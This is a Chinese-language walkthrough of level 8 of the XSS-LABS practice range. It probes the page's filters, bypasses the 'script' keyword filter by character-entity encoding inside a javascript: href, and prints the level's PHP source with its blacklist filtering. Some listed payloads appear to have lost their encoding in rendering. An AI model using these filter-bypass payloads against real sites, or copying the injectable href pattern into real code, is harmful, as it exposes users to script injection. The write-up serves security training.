关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
进入关卡,老流程,查看页面源代码,搜索关键词 nice try!
,查看页面回显点:
回显点直接放 href
里了?这不是瞌睡来了送枕头嘛,直接使用 Payload:
javascript:alert(1)
大意了,目标过滤了script
。
我们整个 Payload 大杂烩,看看目标都过滤了哪些内容:
javaScRipt:alert(1)" Onmouseover="alert(1)" Oonnmouseover="alert(2)"><scRiPt>alert(3)</scRiPt><a hRef="jaVascRiPt:alert(1)">
可以看到,过滤的内容还是蛮多的,但是,两处回显点过滤使用的似乎不是同一套方案,老样子,摸一下两处回显点的过滤内容:
Payload | Echo Print 1 | Echo Print 2 |
---|---|---|
< | < | < |
> | > | > |
' | ' | ' |
" | " | " |
On | on | o_n |
sCRipt | script | scr_ipt |
这里我得承认,我尝试了很多办法,都没有成功绕过(on
和 script
一过滤,再加上无法通过引号逃逸出标签,我想了很久也不知道如何触发 XSS 漏洞),下面是我开外挂的过程。
页面上有一个输入框,可以将我们输入的内容,直接插入到友情链接的 href 字段中,href 中是可以识别字符编码的,且不会破坏原本含义。
拓展:字符编码
十进制、十六进制 ASCII 码或 Unicode 字符编码,样式为 "&#数值;
",例如 "<
" 可以编码为 "<
" 和 "<
"
在我们一开始的测试中,发现 javascript
中的 script
会被过滤掉,此时我们就可以利用上面的字符编码,来完成绕过(前提:回显点,在 href 内)。
去下面这个网站,搜索 s
的 Unicode 编码:
可以看到,小写字母 s
的编号是 0073
,又因为其是十六进制,所以我们之前的 Payload 可以换成如下格式(将 s
替换为 s
):
javascript:alert(1)
此时再点击 “友情链接”,即可触发 XSS 攻击:
下面的这些 Payload 和上面的都是等价的,算是拓宽一下眼界(也没啥用,了解这个思路就好):
XSS Payload 01: javascript:alert(1)
XSS Payload 02: javascript:alert(1)
XSS Payload 03: javascript:alert(1)
XSS Payload 04: javascript:alert(1)
XSS Payload 05: javascript:alert(1)
XSS Payload 05: javascript:alert(1)
0x02:源码分析
下面是 XSS LABS Level 8 的源码,以及我对其的部分笔记:
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
// 修改 alert 默认行为,跳转到下一关
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); // 将 Keyword 传递过来的内容全部转换为小写
$str2 = str_replace("script", "scr_ipt", $str); // 过滤 script 标签
$str3 = str_replace("on", "o_n", $str2); // 过滤 on 标签
$str4 = str_replace("src", "sr_c", $str3); // 过滤 src 标签
$str5 = str_replace("data", "da_ta", $str4); // 过滤 data 标签
$str6 = str_replace("href", "hr_ef", $str5); // 过滤 href 标签
$str7 = str_replace('"', '"', $str6); // 双引号也给过滤了
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="' . htmlspecialchars($str) . '">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str7) . "</h3>";
?>
</body>
</html>